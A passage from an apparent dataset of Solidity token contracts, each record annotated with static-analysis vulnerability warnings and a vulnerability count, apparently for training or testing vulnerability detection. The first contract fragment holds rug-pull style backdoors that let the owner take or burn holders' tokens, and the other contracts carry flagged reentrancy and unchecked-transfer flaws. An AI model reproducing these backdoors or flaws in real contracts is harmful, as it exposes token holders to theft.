require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"?NeiroShib\", unicode\"?NeiroShib\", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10209.sol",
"size_bytes": 7174,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DOGGO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ef75dce): DOGGO.bots is never initialized. It is used in DOGGO._transfer(address,address,uint256)\n\t// Recommendation for ef75dce: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 14b7142): DOGGO._taxWallet should be immutable \n\t// Recommendation for 14b7142: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3beef52): DOGGO._initialBuyTax should be constant \n\t// Recommendation for 3beef52: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: a616c18): DOGGO._initialSellTax should be constant \n\t// Recommendation for a616c18: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d399f11): DOGGO._reduceBuyTaxAt should be constant \n\t// Recommendation for d399f11: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5fa96e9): DOGGO._reduceSellTaxAt should be constant \n\t// Recommendation for 5fa96e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 05a8b11): DOGGO._preventSwapBefore should be constant \n\t// Recommendation for 05a8b11: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"Dynamic Omnipotent Game-changing Genius Optimization\";\n\n string private constant _symbol = unicode\"$D.O.G.G.O\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54463ed): DOGGO._taxSwapThreshold should be constant \n\t// Recommendation for 54463ed: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9b15842): DOGGO._maxTaxSwap should be constant \n\t// Recommendation for 9b15842: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 05e4b7e): DOGGO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 05e4b7e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fd223a2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fd223a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8572b75): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8572b75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fd223a2\n\t\t// reentrancy-benign | ID: 8572b75\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fd223a2\n\t\t// reentrancy-benign | ID: 8572b75\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f267832): DOGGO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f267832: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8572b75\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fd223a2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c6a0694): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c6a0694: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ef75dce): DOGGO.bots is never initialized. It is used in DOGGO._transfer(address,address,uint256)\n\t// Recommendation for ef75dce: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f3f96b4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f3f96b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c6a0694\n\t\t\t\t// reentrancy-eth | ID: f3f96b4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c6a0694\n\t\t\t\t\t// reentrancy-eth | ID: f3f96b4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f3f96b4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f3f96b4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f3f96b4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c6a0694\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f3f96b4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f3f96b4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c6a0694\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fd223a2\n\t\t// reentrancy-events | ID: c6a0694\n\t\t// reentrancy-benign | ID: 8572b75\n\t\t// reentrancy-eth | ID: f3f96b4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cf5c91c): DOGGO.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cf5c91c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fd223a2\n\t\t// reentrancy-events | ID: c6a0694\n\t\t// reentrancy-eth | ID: f3f96b4\n\t\t// arbitrary-send-eth | ID: cf5c91c\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 60bfc00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 60bfc00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 902e20d): DOGGO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 902e20d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: af9f5a6): DOGGO.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for af9f5a6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 20b9780): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 20b9780: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 60bfc00\n\t\t// reentrancy-eth | ID: 20b9780\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 60bfc00\n\t\t// unused-return | ID: 902e20d\n\t\t// reentrancy-eth | ID: 20b9780\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 60bfc00\n\t\t// unused-return | ID: af9f5a6\n\t\t// reentrancy-eth | ID: 20b9780\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 60bfc00\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 20b9780\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0dfb8cf): DOGGO.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 0dfb8cf: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 0dfb8cf\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1021.sol",
"size_bytes": 21133,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PECTRA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7cf126a): PECTRA._taxWallet should be immutable \n\t// Recommendation for 7cf126a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5b34256): PECTRA._initialBuyTax should be constant \n\t// Recommendation for 5b34256: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1286e5d): PECTRA._initialSellTax should be constant \n\t// Recommendation for 1286e5d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e2927a): PECTRA._reduceBuyTaxAt should be constant \n\t// Recommendation for 0e2927a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b7a667b): PECTRA._reduceSellTaxAt should be constant \n\t// Recommendation for b7a667b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0886822): PECTRA._preventSwapBefore should be constant \n\t// Recommendation for 0886822: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pectra\";\n\n string private constant _symbol = unicode\"PECTRA\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 82230bb): PECTRA._taxSwapThreshold should be constant \n\t// Recommendation for 82230bb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3f21d5c): PECTRA._maxTaxSwap should be constant \n\t// Recommendation for 3f21d5c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 02d0a4d): PECTRA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 02d0a4d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f770f20): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f770f20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a688cb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a688cb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f770f20\n\t\t// reentrancy-benign | ID: a688cb5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f770f20\n\t\t// reentrancy-benign | ID: a688cb5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a51c719): PECTRA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a51c719: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a688cb5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f770f20\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e3a4b05): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e3a4b05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: b0d07dc): PECTRA._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for b0d07dc: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f1de8c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f1de8c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n 